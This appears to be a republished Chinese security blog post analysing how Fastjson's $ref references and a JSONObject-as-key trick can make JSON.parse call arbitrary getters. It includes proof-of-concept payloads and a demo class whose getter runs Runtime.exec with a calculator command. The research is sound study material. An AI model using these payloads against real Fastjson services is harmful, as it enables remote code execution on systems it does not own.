Fastjson parse突破特殊getter调用限制
source link: https://jlkl.github.io/2021/12/18/Java_07/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Fastjson parse突破特殊getter调用限制
众所周知,在 Fastjson中 parse 会识别并调用目标类的特定 setter 方法及特定的 getter 方法,特定规则其实总结起来就是一般的setter方法以及一般的返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法
那么对于一般的不满足条件的getter方法能否进行调用呢
$ref
调用 getter
当Fastjson>=1.2.36时,我们可以使用$ref
的方式来调用任意的getter
什么是$ref
$ref
是fastjson里的引用,引用之前出现的对象
循环引用 · alibaba/fastjson Wiki (github.com)
下面这个例子
package com.vuln;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Test {
private Integer id;
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.vuln.Test\",\"id\":\"123\"},{\"$ref\":\"$[0]\"}]";
Object o = JSON.parse(payload);
System.out.println(o);
}
}
JSON.parse后的对象如下
$ref
的值是符合JSONPath语法的,详细可以参考:https://goessner.net/articles/JsonPath/
Test.java
package com.vuln;
import java.io.IOException;
public class Test {
private String cmd;
public String getCmd() throws IOException {
Runtime.getRuntime().exec(cmd);
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
}
}
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.vuln.Test\",\"cmd\":\"open -a Calculator\"},{\"$ref\":\"$[0].cmd\"}]";
Object o = JSON.parse(payload);
}
}
可以看到getCmd方法是不满足特殊getter条件的,不能自动被调用,这里突破了这个限制
到getCmd的调用栈
首先分析fastjson对$ref
的处理逻辑
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject
当遇到引用$ref
这种方式,会增加一个resolveTask,留在parse结束后进行处理
com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask
ref的value尝试通过getObject获取,这里获取不到,refValue为null,进入JSONPath.eval
,这是JSONPath解析函数,根据ref从value种获取对应的值
JSONPath.eval
最终会调用到getPropertyValue
函数,会尝试调用fieldInfo的get函数或者用反射的方式调用getter
com.alibaba.fastjson.serializer.FieldSerializer#getPropertyValue
为什么小于1.2.36
版本不行
以1.2.35
版本为例,差异主要在
com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask
要求refValue不为null,且必须时JSONObject类,根据上面的分析,我们的POC获取到的refValue为null,寄
JSONObject 调用 getter
当Fastjson<=1.2.36时,可以使用这种方法调用任意getter方法,和第一种方法刚好互补
这个方法来自于Tomcat BasicDataSource利用链,四哥的说法是这条链只能用于Fastjson 1.2.24及更低版本(是这个链的利用),可以参考四哥和kingx的分析
Fastjson BasicDataSource攻击链简介 – 绿盟科技技术博客 (nsfocus.net)
Java动态类加载,当FastJson遇到内网 – KINGX
Test.java
package com.vuln;
import java.io.IOException;
public class Test {
private String cmd;
public String getCmd() throws IOException {
Runtime.getRuntime().exec(cmd);
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
}
}
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" {\n" +
" \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
" \"x\":{\n" +
" \"@type\": \"com.vuln.Test\",\n" +
" \"cmd\": \"open -a Calculator\"\n" +
" }\n" +
" }: \"x\"\n" +
"}";
Object o = JSON.parse(payload);
}
}
巧妙利用了JSONObject.toString
,JSONObject
继承了JSON抽象类
com.alibaba.fastjson.JSON#toString,进行序列化操作,object 转 str
Fastjson使用ASM来代替反射,通过ASM的ClassWriter
来生成JavaBeanSerializer
的子类,重写write
方法,JavaBeanSerializer
中的write
方法会使用反射从JavaBean
中获取相关信息,ASM针对不同类会生成独有的序列化工具类,这里如ASMSerializer_1_Test
,也会调用getter获取类种相关信息,更详细可以参考
ASM在FastJson中的应用 - SegmentFault 思否
那么我们只要在反序列化过程中,找到一处可以使用JSONObject调用toString的地方就可以了
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject
Fastjson在解析的时候如果遇到{
,会加一层JSONObject,那么只需将key构造成JSONObject,类似{{some}:x} 即可
com.alibaba.fastjson.parser.DefaultJSONParser#parse
为什么大于1.2.36
版本不行
以1.2.37
版本为例
com.alibaba.fastjson.parser.DefaultJSONParser#parse
直接入口点掐了,不再调用toString函数
- Fastjson>=1.2.36$ref引用可触发get方法分析_Y4tacker
- [利用 fastjson $ref 构造 poc](
- Post author: Str3am
- Post link: https://jlkl.github.io/2021/12/18/Java_07/
- Copyright Notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK